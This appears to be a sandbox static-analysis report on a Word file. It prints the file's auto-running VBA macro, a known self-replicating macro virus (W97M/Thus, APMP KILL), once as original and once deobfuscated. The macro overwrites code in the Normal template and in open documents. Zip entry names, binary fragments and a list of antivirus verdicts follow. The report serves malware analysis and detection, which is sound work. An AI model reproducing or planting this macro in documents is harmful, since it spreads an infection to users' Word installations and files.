popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
'KILL
   On Error Resume Next
    Set prevDocument = NormalTemplate
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
'KILL
   On Error Resume Next
    Set prevDocument = NormalTemplate
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub
[Content_Types].xml
_rels/.rels
word/_rels/document.xml.rels
word/document.xml
vIcxJJ
HImu2
word/theme/theme1.xml
p{{<F!
wm1NDN
FM26P[
word/vbaProject.bin
LQLqI"
kJ5LXZ\
wP[pxh
F{eJC}
{t.>%}!
>{gU}*
>{gdwj
(.('SVO
!\1D)\2
<F\]:C
7W;4og
g4ed6Wl
A].Yzv
WMr9)P
word/_rels/vbaProject.bin.relsl
-\Ya;>>
word/glossary/_rels/document.xml.rels
word/vbaData.xml
word/settings.xml
Mc,'F?H
word/glossary/settings.xml
Mc,'F?H
word/glossary/document.xml
vS}>hu
rL<$"@b
word/glossary/webSettings.xml
f\US}d
,y0|yh}
word/fontTable.xml
word/glossary/styles.xml
/a"]a&G
6Ny"nD
Tf*=Zp
|x[iHpY
Pz:1xa
)5.[rK
docProps/app.xml
word/webSettings.xml
docProps/core.xml
0V(9C$
dEFi2M
word/glossary/fontTable.xml
}v1IP
word/styles.xml
]6U*OT
Q5QE#j
w*"21,
Xl[GZG6u
:l+\]0,K
[Content_Types].xmlPK
_rels/.relsPK
word/_rels/document.xml.relsPK
word/document.xmlPK
word/theme/theme1.xmlPK
word/vbaProject.binPK
word/_rels/vbaProject.bin.relsPK
word/glossary/_rels/document.xml.relsPK
word/vbaData.xmlPK
word/settings.xmlPK
word/glossary/settings.xmlPK
word/glossary/document.xmlPK
word/glossary/webSettings.xmlPK
word/fontTable.xmlPK
word/glossary/styles.xmlPK
docProps/app.xmlPK
word/webSettings.xmlPK
docProps/core.xmlPK
word/glossary/fontTable.xmlPK
word/styles.xmlPK
Antivirus Signature
Bkav Clean
Lionic Clean
Elastic malicious (high confidence)
ClamAV Doc.Macro.APMPKILL-6097118-0
CMC Clean
CAT-QuickHeal Clean
Skyhigh W97M/Thus.gen.f
ALYac VB:Trojan.Valyria.1610
Malwarebytes Clean
Zillya Clean
Sangfor Virus.Win32-Macro.Save.APMP
CrowdStrike Clean
Alibaba Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Clean
tehtris Clean
ESET-NOD32 W97M/Thus.NAC
TrendMicro-HouseCall V97M_Generic
Avast Script:SNH-gen [Trj]
Cynet Malicious (score: 70)
Kaspersky HEUR:Virus.Script.Generic
BitDefender VB:Trojan.Valyria.1610
NANO-Antivirus Trojan.Script.Agent.dsetwk
ViRobot Clean
MicroWorld-eScan VB:Trojan.Valyria.1610
Tencent OLE.Win32.Macro.700319
Trustlook Clean
Sophos WM97/Thus-Fam
F-Secure Heuristic.HEUR/Macro.VBA5
DrWeb MACRO.Virus
VIPRE VB:Trojan.Valyria.1610
TrendMicro V97M_Generic
CTX docx.trojan.valyria
Emsisoft VB:Trojan.Valyria.1610 (B)
huorong OMacro/Thus.a
FireEye VB:Trojan.Valyria.1610
Jiangmin WM/APMP.a
Webroot Clean
Varist VBA/ABTrojan.YATZ-
Avira HEUR/Macro.VBA5
Fortinet VBA/Thus.1A61!tr
Antiy-AVL Trojan/MSWord.Thus.nac
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit VB:Trojan.Valyria.D64A
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Virus.Script.Generic
Avast-Mobile Clean
Microsoft Virus:W97M/Thus
Google Highly Suspicious
AhnLab-V3 Clean
Acronis Clean
McAfee W97M/Thus.gen.f
TACHYON Clean
VBA32 Clean
Zoner Clean
Rising Macro.Word.Agent.c (CLASSIC)
Yandex Clean
Ikarus Trojan.Script.Agent
MaxSecure Clean
GData VB:Trojan.Valyria.1610
AVG Script:SNH-gen [Trj]
Panda W97M/Badmacro
alibabacloud Clean
No IRMA results available.